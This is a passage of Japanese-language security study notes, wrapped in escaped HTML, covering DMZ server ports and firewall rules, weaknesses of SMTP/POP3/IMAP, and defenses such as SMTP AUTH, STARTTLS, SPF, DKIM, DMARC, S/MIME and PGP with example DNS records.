&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; HTTPS: 443/tcp&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**セキュリティ要件**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; WAF（Web Application Firewall）の導入&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; SSL/TLS証明書の適切な管理（Let's Encrypt、商用証明書）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 定期的な脆弱性スキャンとパッチ適用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; DDoS対策（レート制限、CDNの利用）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**2. メールサーバ**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**公開ポート**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; SMTP: 25/tcp（メール送信）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; SMTP Submission: 587/tcp（認証付き送信）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; IMAPS: 993/tcp（メール受信）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; POP3S: 995/tcp（メール受信）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**セキュリティ要件**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; SPF、DKIM、DMARCの実装&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; スパムフィルタリング（SpamAssassin、Rspamd）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ウイルススキャン（ClamAV）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; レート制限による不正中継防止&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**3. DNSサーバ**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**公開ポート**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; DNS: 53/udp, 53/tcp&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**セキュリティ要件**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; DNSSECの実装&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; レート制限によるDNS増幅攻撃対策&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 再帰問い合わせの制限（外部からの再帰問い合わせを拒否）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DMZのセキュリティポリシー&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**ファイアウォールルールの例**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**外部→DMZ**&lt;/span&gt;&lt;span&gt;: 公開サービスに必要なポートのみ許可&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DMZ→内部**&lt;/span&gt;&lt;span&gt;: 必要最小限の通信のみ許可（例：データベース接続）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**内部→DMZ**&lt;/span&gt;&lt;span&gt;: 管理用のSSH（22/tcp）など、認証済み接続のみ許可&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DMZ→外部**&lt;/span&gt;&lt;span&gt;: 必要な通信のみ許可（例：DNS問い合わせ、メール送信）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 3.2 メールシステムのセキュリティ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メール送信の仕組みとプロトコル階層&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;メール送信は、&lt;/span&gt;&lt;span&gt;**SMTP（Simple Mail Transfer Protocol, RFC 5321）**&lt;/span&gt;&lt;span&gt;によって複数のメールサーバを経由して送信されます。受信側では、&lt;/span&gt;&lt;span&gt;**POP3（Post Office Protocol version 3, RFC 1939）**&lt;/span&gt;&lt;span&gt;や&lt;/span&gt;&lt;span&gt;**IMAP（Internet Message Access Protocol, RFC 3501）**&lt;/span&gt;&lt;span&gt;を使用してクライアントがメールを取得します。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**メール送信のフロー**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;flowchart LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  Sender["送信者クライアント&amp;lt;br/&amp;gt;(MUA)"] --&amp;gt;|SMTP&amp;lt;br/&amp;gt;587/tcp, 465/tcp| SenderMTA["送信者メールサーバ&amp;lt;br/&amp;gt;(MTA)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  SenderMTA --&amp;gt;|SMTP&amp;lt;br/&amp;gt;25/tcp| Internet["インターネット&amp;lt;br/&amp;gt;(複数のMTAを経由)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  Internet --&amp;gt;|SMTP&amp;lt;br/&amp;gt;25/tcp| ReceiverMTA["受信者メールサーバ&amp;lt;br/&amp;gt;(MTA)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  ReceiverMTA --&amp;gt;|POP3/IMAP&amp;lt;br/&amp;gt;110/tcp, 143/tcp&amp;lt;br/&amp;gt;993/tcp, 995/tcp| Receiver["受信者クライアント&amp;lt;br/&amp;gt;(MUA)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メールプロトコルの技術的詳細と脆弱性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**SMTPの基本仕様**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ポート番号**&lt;/span&gt;&lt;span&gt;: 25/tcp（標準）、587/tcp（Submission）、465/tcp（SMTPS）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**認証**&lt;/span&gt;&lt;span&gt;: 元々は認証機能なし（RFC 821、1982年制定）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**暗号化**&lt;/span&gt;&lt;span&gt;: 元々は平文送信（RFC 821）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**主な脆弱性**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**平文送信**&lt;/span&gt;&lt;span&gt;: 基本的なSMTP/POP3プロトコルは、認証情報やメール本文を平文で送信するため、中間者攻撃（MITM: Man-in-the-Middle）やパケットキャプチャによる盗聴が可能&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**認証の欠如**&lt;/span&gt;&lt;span&gt;: 元々のSMTPには認証機能がなく、任意の送信元アドレスを詐称可能（メールスプーフィング）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**リレー攻撃**&lt;/span&gt;&lt;span&gt;: 認証なしのSMTPサーバは、第三者からのメール中継に悪用される可能性（オープンリレー）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**プロトコルの古さ**&lt;/span&gt;&lt;span&gt;: 1980年代に設計されたプロトコルのため、現代のセキュリティ要件に対応していない&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メールセキュリティ関連プロトコルと技術の詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;##### 1. 送信者認証に関する主なプロトコル・技術&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**POP Before SMTP**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: メール送信（SMTP）前に一度受信（POP3）で認証されていれば、その後の一定期間（通常15分）、送信サーバ側でそのIPアドレスを認証済み扱いにする仕組み&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**RFC**&lt;/span&gt;&lt;span&gt;: 非標準（実装依存）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**セキュリティ問題**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; IPアドレスベースの認証のため、NAT環境では複数ユーザーが同一IPアドレスを共有&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; タイムウィンドウ内での不正利用のリスク&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**現在は安全上の理由から非推奨**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**SMTP AUTH（RFC 4954）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: メール送信（SMTP）時に利用者がユーザー名・パスワードで認証できる仕組み&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**認証方式**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; PLAIN: 平文認証（TLS必須）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; LOGIN: Base64エンコード（TLS必須）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; CRAM-MD5: チャレンジ&amp;amp;レスポンス方式&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; DIGEST-MD5: より安全なチャレンジ&amp;amp;レスポンス方式&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ポート**&lt;/span&gt;&lt;span&gt;: 587/tcp（Submission）、465/tcp（SMTPS）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**現在の標準手法であり、不正中継防止に必須**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**暗号化/ハッシュ化（メッセージや認証）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**SMTPS（SMTP over SSL/TLS）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ポート**&lt;/span&gt;&lt;span&gt;: 465/tcp&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: SMTPをSSL/TLS経由で暗号化して送信し、盗聴や改ざんを防止&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**暗号化アルゴリズム**&lt;/span&gt;&lt;span&gt;: TLS 1.2以上推奨（TLS 1.3が最新）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**証明書**&lt;/span&gt;&lt;span&gt;: X.509証明書を使用&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**STARTTLS（RFC 3207）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: SMTPやPOP3、IMAPの通信をTLS方式で暗号化する拡張。対応していれば通信途中で暗号化に移行可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**利点**&lt;/span&gt;&lt;span&gt;: 同じポート（25/tcp、110/tcp、143/tcp）を使用し、暗号化対応サーバと非対応サーバの両方に対応&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**プロトコル拡張**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;`STARTTLS`&lt;/span&gt;&lt;span&gt;コマンドで暗号化に移行&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**POP3S（POP3 over SSL/TLS）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ポート**&lt;/span&gt;&lt;span&gt;: 995/tcp&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: POP3通信そのものをSSL/TLSで暗号化する&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**暗号化アルゴリズム**&lt;/span&gt;&lt;span&gt;: TLS 1.2以上推奨&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**APOP（Authenticated POP, RFC 1939）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: POP3の認証をハッシュ化（MD5）のチャレンジ&amp;amp;レスポンス方式で安全に処理&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**セキュリティ**&lt;/span&gt;&lt;span&gt;: パスワードを平文で送信しない（ただし、MD5は現在脆弱とされる）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**現在**&lt;/span&gt;&lt;span&gt;: より安全なCRAM-MD5やDIGEST-MD5に置き換えられつつある&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;##### 2. メールサーバ自体の正当性を認証する技術（送信元サーバ認証）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**SPF（Sender Policy Framework, RFC 7208）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: 送信元メールサーバのIPアドレスが、そのドメインの公式な送信サーバかどうかDNSのTXTレコードで認証&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DNSレコード例**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;  ```dns&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  example.com. IN TXT "v=spf1 ip4:192.0.2.1 ip4:192.0.2.2 include:_spf.google.com ~all"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  ```&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**評価結果**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Pass`&lt;/span&gt;&lt;span&gt;: 認証成功&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Fail`&lt;/span&gt;&lt;span&gt;: 認証失敗&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`SoftFail`&lt;/span&gt;&lt;span&gt;: 認証失敗（ソフト）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`Neutral`&lt;/span&gt;&lt;span&gt;: 判定不能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**なりすましメール防止に有効**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**DKIM（DomainKeys Identified Mail, RFC 6376）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: 送信メール自体に電子署名を付与し、受信サーバはDNSを通じて署名の正当性・改ざん防止を確認&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**署名アルゴリズム**&lt;/span&gt;&lt;span&gt;: RSA-SHA256、RSA-SHA1（非推奨）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DNSレコード**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;`_domainkey.example.com`&lt;/span&gt;&lt;span&gt;のTXTレコードに公開鍵を登録&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**署名ヘッダー**&lt;/span&gt;&lt;span&gt;: メールヘッダーに&lt;/span&gt;&lt;span&gt;`DKIM-Signature`&lt;/span&gt;&lt;span&gt;フィールドを追加&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**改ざん検知**&lt;/span&gt;&lt;span&gt;: メール本文や特定のヘッダーが改ざんされていないことを検証&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**DMARC（Domain-based Message Authentication, Reporting, and Conformance, RFC 7489）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: SPFやDKIMによる認証結果と、差出人（From）アドレスの一貫性などを含めた包括的なポリシーを規定、なりすましメールの制御とレポート提供を行う&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DNSレコード例**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;  ```dns&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  _dmarc.example.com. IN TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com; ruf=mailto:dmarc@example.com; pct=100;"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  ```&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ポリシー**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`none`&lt;/span&gt;&lt;span&gt;: 何もしない（監視のみ）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`quarantine`&lt;/span&gt;&lt;span&gt;: スパムフォルダに隔離&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`reject`&lt;/span&gt;&lt;span&gt;: メールを拒否&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**レポート**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`rua`&lt;/span&gt;&lt;span&gt;: 集約レポートの送信先&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;`ruf`&lt;/span&gt;&lt;span&gt;: フォレンジックレポートの送信先&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;##### 3. メールそのもの・送信者の認証と内容の保護（エンドツーエンドの暗号化）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**S/MIME（Secure/Multipurpose Internet Mail Extensions, RFC 8551）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: 公開鍵暗号を用いてメール本文・添付ファイルを暗号化し、デジタル署名で送信者の真正性および改ざん防止を保証する国際標準規格&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**暗号化アルゴリズム**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 公開鍵暗号: RSA（2048bit以上）、ECDSA&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 共通鍵暗号: AES-128、AES-256&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ハッシュ関数: SHA-256、SHA-384、SHA-512&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**証明書**&lt;/span&gt;&lt;span&gt;: X.509証明書を使用（通常はPKI: Public Key Infrastructureから発行）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**用途**&lt;/span&gt;&lt;span&gt;: 企業メール、政府機関での利用が多い&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**PGP（Pretty Good Privacy）/OpenPGP（RFC 4880）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: ユーザーごとの公開鍵/秘密鍵でメールを暗号化・署名し、内容の秘匿や認証・改ざん防止を行う方式&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**鍵管理**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 公開鍵サーバ（keyserver）で公開鍵を共有&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Web of Trust（信頼の輪）による認証&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**暗号化アルゴリズム**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
